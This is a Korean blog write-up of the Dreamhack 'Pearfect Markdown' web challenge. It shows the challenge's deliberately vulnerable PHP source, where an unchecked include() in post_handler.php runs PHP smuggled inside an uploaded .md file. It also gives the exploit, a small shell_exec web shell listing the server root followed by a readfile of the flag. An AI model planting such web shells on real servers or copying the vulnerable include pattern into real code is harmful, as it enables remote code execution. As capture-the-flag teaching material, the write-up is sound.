[Dreamhack] Pearfect Markdown
2025. 2. 5.

https://dreamhack.io/wargame/challenges/1773

 

Pearfect Markdown

Description 실시간으로 마크다운을 수정해볼 수 있는 페이지입니다. 서비스의 취약점을 찾고 익스플로잇하여 플래그를 획득하세요! 플래그 형식은 DH{...} 입니다.

dreamhack.io

md 파일을 업로드 / 수정할 수 있는 웹 페이지의 취약점 찾기

웹 사이트에 들어가보자.

md 파일을 선택해서 업로드할 수 있고, 업로드한 md 파일을 수정할 수 있는 페이지다.

example.md를 클릭해서 해당 md 파일을 수정해보도록 하자.

 

그대로 save 버튼을 눌러보면 내가 수정한 정보값이 example.md 파일에 반영된 것을 확인할 수 있다.

서버 코드를 살펴보자.

code

더보기

● index.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Markdown Editor</title>
    <link rel="stylesheet" href="css/styles.css">
    <script src="https://cdn.jsdelivr.net/npm/marked/marked.min.js"></script>
</head>
<body>
    <div class="container">
        <h1>Upload and Edit Markdown Files</h1>
        <form action="upload.php" method="post" enctype="multipart/form-data">
            <label for="file">Choose Markdown file:</label>
            <input type="file" name="file" id="file" accept=".md">
            <input type="submit" value="Upload">
        </form>

        <div class="preview-container">
            <h2>Example Markdown Preview</h2>
            <div class="markdown-preview" id="preview"></div>
        </div>

        <?php
        $uploads_dir = 'uploads/';
        if ($handle = opendir($uploads_dir)) {
            echo "<h2>Uploaded Files</h2><ul>";
            while (false !== ($entry = readdir($handle))) {
                if ($entry != "." && $entry != "..") {
                    echo "<li><a href='edit.php?file=" . urlencode($entry) . "'>" . htmlspecialchars($entry) . "</a></li>";
                }
            }
            closedir($handle);
            echo "</ul>";
        }
        ?>
    </div>
    <script>
        fetch('post_handler.php')
        .then(response => response.text())
        .then(data => {
            document.getElementById('preview').innerHTML = marked.parse(data);
        });
    </script>
</body>
</html>

파일을 업로드할 수 있고, 만약 업로드 된 파일이 있다면 edit.php?file="파일명" 으로 이동할 수 있는 url이 제시된 메인 창이다.

<script> 부분을 보면

<script>
        fetch('post_handler.php')
        .then(response => response.text())
        .then(data => {
            document.getElementById('preview').innerHTML = marked.parse(data);
        });
    </script>

 post_handler.php 파일에서 코드를 불러와서 fetch를 하고 있고, 그에 대한 결과값을 창에 띄우는 것을 볼 수 있다.

 

save.php

<?php
$uploads_dir = 'uploads/';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $file = $_POST['file'];
    $content = $_POST['content'];
    $path = realpath($uploads_dir . basename($file));

    if (strpos($path, realpath($uploads_dir)) === 0 && file_exists($path)) {
        file_put_contents($path, $content);
        header('Location: edit.php?file=' . urlencode($file));
        exit;
    } else {
        echo "Invalid file or file not found!";
    }
} else {
    echo "Invalid request method!";
}
?>

post 메소드로 들어오는 파일을 저장하는 코드

 

post_handler.php

<?php
$uploads_dir = 'uploads/';

if ($_SERVER['REQUEST_METHOD'] === 'GET') { // get 메소드로 요청이 들어왔을 때

    $file = $_GET['file'] ?? 'example.md';  // file이 없을 경우 example.md로 설정
    $path = $uploads_dir . $file; // 파일 경로 설정 -> 예시로 uploads/example.md 이렇게

    include($path);  # include 메소드 -> 파일을 읽어서 실행하는 메소드

} else {
    echo "Use GET method!!";
}
?>

get 메소드로 해당 경로(post_handler)에 요청이 들어올 경우, 쿼리문으로 들어온 파일 매개변수 입력값을 확인해서 만약 uploads 폴더에 존재하는 파일의 경우 include 메소드를 통해 파일을 읽은 후 실행하고 있다.

만약 악의적인 md 파일이 업로드되고 실행될 경우 웹 서버에 간섭할 수 있을 듯 하다.

edit.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Edit Markdown File</title>
    <link rel="stylesheet" href="css/styles.css">
    <script src="https://cdn.jsdelivr.net/npm/marked/marked.min.js"></script>
</head>
<body>
    <div class="container">
        <h1>Edit Markdown File</h1>
        <form action="save.php" method="post">
            <textarea name="content" id="content" rows="20" cols="80"><?php
            $uploads_dir = 'uploads/';  // uploads directory

            if (isset($_GET['file'])) {
                $file = $_GET['file'];
                $path = realpath($uploads_dir . $file);

                if (strpos($path, realpath($uploads_dir)) === 0 && file_exists($path)) {
                    echo htmlspecialchars(file_get_contents($path));
                } else {
                    echo "Invalid file or file not found!";
                }
            } else {
                echo "No file parameter provided!";
            }
            ?></textarea>
            <input type="hidden" name="file" value="<?php echo htmlspecialchars($_GET['file']); ?>">
            <input type="submit" value="Save">
        </form>
        <div class="markdown-preview" id="preview"></div>
    </div>
    <script>
        document.getElementById('preview').innerHTML = marked.parse(document.getElementById('content').value);
        document.getElementById('content').addEventListener('input', function() {
            document.getElementById('preview').innerHTML = marked.parse(this.value);
        });
    </script>
</body>
</html>

업로드한 파일을 수정할 수 있는 페이지

마찬가지로 딱히 사용자 입력값 및 파일에 대한 검증은 없어 보인다..

upload.php

<?php
$uploads_dir = 'uploads/';
if ($_FILES['file']['error'] === UPLOAD_ERR_OK) {
    $tmp_name = $_FILES['file']['tmp_name'];
    $name = basename($_FILES['file']['name']);
    
    if (pathinfo($name, PATHINFO_EXTENSION) === 'md') {
        move_uploaded_file($tmp_name, "$uploads_dir/$name");
        echo "File uploaded successfully!";
    } else {
        echo "Only .md files are allowed!";
    }
} else {
    echo "File upload error!";
}
?>

확장자에 대한 체크만 하고 있기 때문에, 만약 악의적인 입력값을 가진 md 파일이 업로드될 경우, 그대로 웹 사이트가 취약점에 노출될 수 있다.

Exploit

php의 include() 함수는 파일 확장자에 관계없이 파일 내의 php 태그(<?php ... ?>)가 있을 경우, 해당 태그 안의 스크립트 코드를 실행하게 된다.
즉, md 파일에 악의적인 php 코드를 삽입할 경우, 해당 파일이 include() 될 때 코드가 실행될 수 있다.

exploit.md 파일을 하나 생성해보자

<?php
echo "<pre>";
echo shell_exec('ls -la /');
echo "</pre>";
?>

일단 해당 웹 서버에 어떤 파일이 있는지 모르기 때문에 서버의 파일 리스트를 출력하는 웹 셸 코드를 작성한 뒤, 업로드해보자.

 

 

업로드 후, http://host1.dreamhack.games:11007/post_handler.php?file=exploit.md post_handler 사이트로 들어가보면

/ 경로에 무슨 파일들이 있는지 확인이 가능하다..

qeNSko1Mxxz8oeCOdlmHEK46vDOwOMKn_flag

이 파일이 수상해 보이니, 한번 파일 내용을 살펴보자.

<?php
readfile('/qeNSko1Mxxz8oeCOdlmHEK46vDOwOMKn_flag');
?>

md 파일을 바로 수정이 가능하기 때문에, edit 페이지에서 md 파일을 수정하고 저장한 뒤에 다시 post_handler 사이트로 들어가보도록 하자.

플래그 출력

'보안 > Web hacking' 카테고리의 다른 글

[Dreamhack] Simple Note Manager  (0) 2025.02.11
[Dreamhack] Base64 based  (0) 2025.02.10
[Dreamhack] baby-jwt  (0) 2025.01.31
[Dreamhack] 삐리릭... 삐리리릭...  (0) 2025.01.30
[Dreamhack] Logical  (0) 2025.01.27